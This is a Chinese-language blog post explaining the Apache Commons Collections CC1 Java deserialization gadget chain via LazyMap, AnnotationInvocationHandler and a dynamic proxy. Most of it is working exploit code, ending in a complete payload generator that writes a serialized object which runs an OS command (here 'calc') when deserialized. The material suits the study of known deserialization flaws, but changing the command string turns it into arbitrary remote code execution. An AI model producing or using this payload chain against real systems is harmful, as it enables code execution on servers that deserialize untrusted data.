赞
踩
接上次分析,在上一次分析中我们已经构造了一条完整的利用链:
package sec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; public class Test { public static void main(String[] args) throws Exception { //Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor con=c.getDeclaredConstructor(Class.class,Map.class); con.setAccessible(true); Object obj=con.newInstance(java.lang.annotation.Retention.class,decorate); serialize(obj); //unserialize(); } public static void serialize(Object obj) throws Exception { ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin")); outputStream.writeObject(obj); outputStream.close(); } public static void unserialize() throws Exception{ ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin")); Object obj = inputStream.readObject(); } }
继续分析,其实可以发现在LazyMap中的get方法也调用了transform函数:
//-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
// no need to wrap keySet, entrySet or values as they are views of
// existing map entries - you can't do a map-style get on them.
并且这里的factory的值可以通过构造方法控制:
/**
* Constructor that wraps (not copies).
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
虽然这里的构造方法是一个保护方法,但是这里还有一个静态方法decorate,通过这个方法我们可以调用构造方法:
/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
所以这里我们可以修改一下我们之前的链子了:
public class Test { public static void main(String[] args) throws Exception { //Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer); decorate.get(""); } }
接下来看看get方法在哪里被调用了,这里可以看到在AnnotationInvocationHandler类中的readObject和invoke中被调用了,但是在readobject方法中memberTypes值不可控:
在invoke方法中,可以看到memberValues的值可控:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); assert paramTypes.length == 0; if (member.equals("toString")) return toStringImpl(); if (member.equals("hashCode")) return hashCodeImpl(); if (member.equals("annotationType")) return type; // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; }
所以这里我们需要利用到jdk动态代理的方法,因为使用jdk动态代理时会触发invoke方法,所以构造的payload如下:
public class Test { public static void main(String[] args) throws Exception { //Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor con=c.getDeclaredConstructor(Class.class,Map.class); con.setAccessible(true); InvocationHandler annotationInvocationHandler=(InvocationHandler)con.newInstance(Target.class,decorate); Map proxymap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler); proxymap.entrySet(); } }
到这里我们只差最后一步就是找到一个重写的readObject来进行反序列化触发这个payload,还是在AnnotationInvocationHandler类中,在readObject中执行了:memberValues.entrySet()
,所以完整的payload如下:
package sec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class Test { public static void main(String[] args) throws Exception { //Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor con=c.getDeclaredConstructor(Class.class,Map.class); con.setAccessible(true); InvocationHandler annotationInvocationHandler=(InvocationHandler)con.newInstance(Target.class,decorate); Map proxymap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler); Object obj=con.newInstance(Target.class,proxymap); serialize(obj); //unserialize(); } public static void serialize(Object obj) throws Exception { ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin")); outputStream.writeObject(obj); outputStream.close(); } public static void unserialize() throws Exception{ ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin")); Object obj = inputStream.readObject(); } }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。